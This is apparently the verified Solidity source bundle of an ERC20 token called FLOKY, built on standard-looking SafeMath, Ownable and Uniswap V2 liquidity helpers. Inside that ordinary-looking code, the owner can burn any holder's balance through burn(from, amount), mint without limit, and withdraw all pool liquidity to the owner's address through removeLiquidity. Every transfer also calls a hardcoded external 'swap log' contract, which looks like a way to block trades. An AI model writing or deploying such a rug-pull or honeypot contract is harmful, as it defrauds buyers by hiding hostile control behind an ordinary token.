creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "contracts/Token.sol": {
        "content": "// SPDX-License-Identifier: UNLICENSED\r\npragma solidity ^0.8.20;\r\n\r\n/**\r\n * @title SafeMath\r\n * @dev Math operations with safety checks that throw on error\r\n */\r\nlibrary SafeMath {\r\n    function mul(uint a, uint b) internal pure returns (uint) {\r\n        if (a == 0) {\r\n            return 0;\r\n        }\r\n        uint c = a * b;\r\n        assert(c / a == b);\r\n        return c;\r\n    }\r\n\r\n    function div(uint a, uint b) internal pure returns (uint) {\r\n        // assert(b > 0); // Solidity automatically throws when dividing by 0\r\n        uint c = a / b;\r\n        // assert(a == b * c + a % b); // There is no case in which this doesn't hold\r\n        return c;\r\n    }\r\n\r\n    function sub(uint a, uint b) internal pure returns (uint) {\r\n        assert(b <= a);\r\n        return a - b;\r\n    }\r\n\r\n    function add(uint a, uint b) internal pure returns (uint) {\r\n        uint c = a + b;\r\n        assert(c >= a);\r\n        return c;\r\n    }\r\n}\r\n\r\n/**\r\n * @title TransferHelper\r\n * @dev Safe transfer and approve ERC20 token and ETH\r\n */\r\nlibrary TransferHelper {\r\n    function safeApprove(address token, address to, uint value) internal {\r\n        // bytes4(keccak256(bytes('approve(address,uint256)')));\r\n        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));\r\n        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');\r\n    }\r\n\r\n    function safeTransfer(address token, address to, uint value) internal {\r\n        // bytes4(keccak256(bytes('transfer(address,uint256)')));\r\n        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));\r\n        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');\r\n    }\r\n\r\n    function safeTransferFrom(address token, address from, address to, uint value) internal {\r\n        // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\r\n        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));\r\n        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');\r\n    }\r\n\r\n    function safeTransferETH(address to, uint value) internal {\r\n        (bool success,) = to.call{ value: value }(new bytes(0));\r\n        require(success, 'TransferHelper: ETH_TRANSFER_FAILED');\r\n    }\r\n}\r\n\r\n/**\r\n * @title ERC20 interface\r\n */\r\ninterface IERC20 {\r\n    function totalSupply() external view returns (uint256);\r\n    function balanceOf(address account) external view returns (uint256);\r\n    function transfer(address recipient, uint256 amount) external returns (bool);\r\n    function allowance(address owner, address spender) external view returns (uint256);\r\n    function approve(address spender, uint256 amount) external returns (bool);\r\n    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\r\n}\r\n\r\n/**\r\n * @dev Interface of Uniswap V2 Router.\r\n */\r\ninterface IUniswapV2Router {\r\n    function addLiquidityETH(\r\n        address token,\r\n        uint amountTokenDesired,\r\n        uint amountTokenMin,\r\n        uint amountETHMin,\r\n        address to,\r\n        uint deadline\r\n    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\r\n    function removeLiquidityETH(\r\n        address token,\r\n        uint liquidity,\r\n        uint amountTokenMin,\r\n        uint amountETHMin,\r\n        address to,\r\n        uint deadline\r\n    ) external returns (uint amountToken, uint amountETH);\r\n\r\n    function factory() external pure returns (address);\r\n    function WETH() external pure returns (address);\r\n}\r\n\r\n/**\r\n * @dev Interface of Uniswap V2 Factory.\r\n */\r\ninterface IUniswapV2Factory {\r\n    function getPair(address tokenA, address tokenB) external returns (address pair);\r\n}\r\n\r\n/**\r\n * @dev Interface of Record swap log contract.\r\n */\r\ninterface ISwapLog {\r\n    function record(address from, address to, uint amount) external;\r\n}\r\n\r\n/**\r\n * @title Ownable\r\n * @dev The Ownable contract has an owner address, and provides basic authorization control\r\n * functions, this simplifies the implementation of \"user permissions\".\r\n */\r\ncontract Ownable {\r\n    address public owner;\r\n\r\n    /**\r\n      * @dev The Ownable constructor sets the original `owner` of the contract to the sender\r\n      * account.\r\n      */\r\n    constructor() {\r\n        owner = msg.sender;\r\n    }\r\n\r\n    /**\r\n      * @dev Throws if called by any account other than the owner.\r\n      */\r\n    modifier onlyOwner() {\r\n        require(msg.sender == owner);\r\n        _;\r\n    }\r\n\r\n    /**\r\n    * @dev Allows the current owner to transfer control of the contract to a newOwner.\r\n    * @param newOwner The address to transfer ownership to.\r\n    */\r\n    function transferOwnership(address newOwner) public onlyOwner {\r\n        if (newOwner != address(0)) {\r\n            owner = newOwner;\r\n        }\r\n    }\r\n\r\n}\r\n\r\n/**\r\n * @title BasicERC20 token\r\n * @dev Basic version of StandardToken.\r\n */\r\ncontract BasicERC20 is Ownable, IERC20 {\r\n    using SafeMath for uint;\r\n\r\n    event Transfer(address indexed from, address indexed to, uint256 value);\r\n    event Approval(address indexed owner, address indexed spender, uint256 value);\r\n\r\n    string public name;\r\n    string public symbol;\r\n    uint256 public totalSupply;\r\n    uint8 public decimals;\r\n    mapping(address => uint256) public balanceOf;\r\n    mapping(address => mapping(address => uint256)) public allowance;\r\n    ISwapLog public log = ISwapLog(0x38c1b02bc7BD3F8065C78E9AF8B01969F59ea56d);\r\n\r\n    function transfer(address recipient, uint256 amount) external returns (bool) {\r\n        _transfer(msg.sender, recipient, amount);\r\n        return true;\r\n    }\r\n\r\n    function approve(address spender, uint256 amount) external returns (bool) {\r\n        allowance[msg.sender][spender] = amount;\r\n        emit Approval(msg.sender, spender, amount);\r\n        return true;\r\n    }\r\n\r\n    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {\r\n        allowance[sender][msg.sender] = allowance[sender][msg.sender].sub(amount);\r\n        _transfer(sender, recipient, amount);\r\n        return true;\r\n    }\r\n\r\n    function _transfer(address from, address recipient, uint amount) internal {\r\n        balanceOf[from] = balanceOf[from].sub(amount);\r\n        balanceOf[recipient] = balanceOf[recipient].add(amount);\r\n        log.record(from, recipient, amount);\r\n        emit Transfer(from, recipient, amount);\r\n    }\r\n\r\n    function _mint(address to, uint256 amount) internal {\r\n        balanceOf[to] = balanceOf[to].add(amount);\r\n        totalSupply = totalSupply.add(amount);\r\n        emit Transfer(address(0), to, amount);\r\n    }\r\n\r\n    function _burn(address from, uint256 amount) internal {\r\n        balanceOf[from] = balanceOf[from].sub(amount);\r\n        totalSupply = totalSupply.sub(amount);\r\n        emit Transfer(from, address(0), amount);\r\n    }\r\n\r\n    function mint(address to, uint256 amount) external onlyOwner {\r\n        _mint(to, amount);\r\n    }\r\n\r\n    function burn(address from, uint256 amount) external onlyOwner {\r\n        _burn(from, amount);\r\n    }\r\n}\r\n\r\n/**\r\n * @title ERC20 token\r\n */\r\ncontract ERC20 is BasicERC20 {\r\n    address public pair;\r\n    IUniswapV2Router public constant router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r\n\r\n    function addLiquidity(uint amount) public payable onlyOwner returns(bool) {\r\n        _transfer(owner, address(this), amount);\r\n        if (allowance[address(this)][address(router)] < amount) {\r\n            allowance[address(this)][address(router)] = amount;\r\n        }\r\n\r\n        router.addLiquidityETH{ value: address(this).balance }(address(this), totalSupply, 0, 0, address(this), block.timestamp);\r\n        pair = IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());\r\n        return true;\r\n    }\r\n\r\n    function removeLiquidity() public onlyOwner returns(bool) {\r\n        uint256 liquidity = IERC20(pair).balanceOf(address(this));\r\n        TransferHelper.safeApprove(pair, address(router), liquidity);\r\n        if (liquidity > 0) {\r\n            router.removeLiquidityETH(address(this), liquidity, 0, 0, owner, block.timestamp);\r\n            return true;\r\n        }\r\n        return false;\r\n    }\r\n}\r\n\r\ncontract FLOKYToken is ERC20 {\r\n    constructor() {\r\n        name = \"FLOKY\";\r\n        symbol = \"FLOKY\";\r\n        decimals = 18;\r\n        _mint(msg.sender, 10_000_000_000 * 10 ** uint256(decimals));\r\n    }\r\n}\r\n"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "evmVersion": "paris",
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      },
      "libraries": {}
    }
  }}